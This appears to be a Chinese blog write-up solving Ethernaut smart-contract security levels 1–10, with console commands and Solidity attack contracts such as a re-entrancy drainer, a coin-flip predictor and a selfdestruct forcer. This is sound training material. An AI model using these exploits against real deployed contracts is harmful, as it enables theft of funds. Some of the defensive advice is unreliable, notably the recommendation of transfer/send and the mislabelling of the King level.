Ethernaut是OpenZeppelin开发的一个Web3/Solidity的游戏,通过闯关的方式来学习智能合约安全。本文记录了的日解题过程。仅供参考,欢迎交流。
Ethernaut 是 OpenZeppelin 开发的一个 Web3/Solidity 的游戏,通过闯关的方式来学习智能合约安全。每一关都是一个需要被攻破的智能合约,通过发现和利用合约中的漏洞来通过挑战。本文记录了的日解题过程。仅供参考,欢迎交流。
个人感觉的难度:
这关主要考察 fallback 函数的知识点:
receive()
函数在合约接收 ETH 时被调用fallback()
函数在调用不存在的函数时被调用contribute()
函数来满足条件receive()
函数获取合约所有权攻击步骤:
调用 contribute()
并发送少量 ETH (<0.001)
await contract.contribute({value: web3.utils.toWei('0.0001')});
直接向合约发送 ETH 触发 receive()
await contract.sendTransaction({value: web3.utils.toWei('0.0001')});
调用 withdraw()
提取所有 ETH
await contract.withdraw();
这关主要考察早期 Solidity 版本的构造函数问题:
攻击步骤:
直接调用 Fal1out()
函数获得合约所有权
await contract.Fal1out();
调用 collectAllocations()
提取资金
await contract.collectAllocations();
学习要点:
constructor
关键字更安全这关主要考察区块链的随机数问题:
block.number
等区块信息是公开的攻击步骤:
attackCoin()
十次(每次等待新区块)注意:不能使用循环连续调用
attackCoin()
十次,因为每次猜测都需要在不同区块中进行。如果在同一个区块中多次调用,会使用相同的blockhash
,导致预测结果相同。
攻击合约代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}
contract attack {
ICoinFlip public targetContract;
uint256 constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _targetAddress) {
targetContract = ICoinFlip(_targetAddress);
}
function attackCoin() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
targetContract.flip(side);
}
}
学习要点:
这关主要考察对tx.origin的理解:
攻击步骤:
changeOwner()
函数,将合约的 owner 设置为攻击者学习要点:
这关主要考察对solidity的漏洞的理解:
transfer()
和 send()
函数存在漏洞攻击步骤:
transfer()
函数
await contract.transfer("0x0000000000000000000000000000000000000000", 21);
学习要点:
这关主要考察对delegatecall的理解:
攻击步骤:
学习要点:
在使用 delegatecall 时,必须确保被调用合约的逻辑与当前合约的存储布局一致,否则可能导致存储被意外覆盖。
实际开发中避免漏洞
避免在 fallback 函数中使用 delegatecall,除非有严格的访问控制。
使用现代的合约框架(如 OpenZeppelin 的 Proxy 合约)来实现代理逻辑。
这关主要考察对selfdestruct的理解:
攻击步骤:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract ForceAttack { constructor() public payable { // 构造函数可接收以太币 }
function attack(address payable _target) public {
selfdestruct(_target);
}
}
2. 调用 `attack()` 函数,将合约的余额发送给目标地址
```js
// 调用攻击函数,强制发送以太币
await attackContract.attack(contract.address);
// 验证 Force 合约的余额
const balance = await web3.eth.getBalance(contract.address);
console.log("Force Contract Balance:", balance);
学习要点:
这关主要考察对区块链的存储的理解:
攻击步骤:
await web3.eth.getStorageAt(contract.address, 1).toString();
unlock()
函数。
await contract.unlock(password);
学习要点:
这关主要考察对重入攻击特殊变体的理解了:
攻击步骤:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract KingAttack { address public target;
constructor(address _target) public {
target = _target;
}
function attack() public payable {
// 调用目标合约,并成为新的国王
(bool success, ) = target.call{value: msg.value}("");
require(success, "Attack failed");
}
// 故意让接收 ETH 的函数失败
receive() external payable {
revert("I refuse to give up the throne!");
}
}
3. 部署攻击合约并提供足够的 ETH(大于当前的 prize)
学习要点:
- 理解receive函数的作用:在目标合约中,receive 函数是接收 ETH 的核心逻辑。如果接收方不能正确处理 ETH 转账,会导致交易失败。
- 防御建议:避免使用低级调用(如 call)进行转账,可以使用 transfer 或 send,它们在转账失败时会自动回滚。
- 在合约设计中,避免依赖外部合约的行为来完成核心逻辑。
- 使用现代的合约框架(如 OpenZeppelin 的 ReentrancyGuard)来实现安全重入控制
## 10. Re-entrancy ✅ [Medium]
这关主要考察对re-entrancy的理解:
- 重入攻击是指攻击者利用合约的漏洞,在合约执行过程中多次调用某个函数,从而获取更多的利益。
- 攻击者可以利用重入攻击来获取合约的控制权
攻击步骤:
1. 编写攻击合约
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Reentrance.sol";
contract ReentranceAttack {
Reentrance public target;
address public owner;
constructor(address payable _target) public {
target = Reentrance(_target);
owner = msg.sender;
}
// 调用目标合约的 donate 函数
function donate() public payable {
target.donate{value: msg.value}(address(this));
}
// 发起攻击
function attack(uint256 _amount) public {
target.withdraw(_amount);
}
// 重入逻辑
receive() external payable {
if (address(target).balance > 0) {
target.withdraw(msg.value);
}
}
// 提取攻击合约中的以太币
function withdraw() public {
require(msg.sender == owner, "Not the owner");
payable(owner).transfer(address(this).balance);
}
}
donate()
函数,将合约的余额发送给攻击合约
await contract.donate{value: 1 ether}();
attack()
函数,发起攻击
await attackContract.attack(1 ether);
学习要点:
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!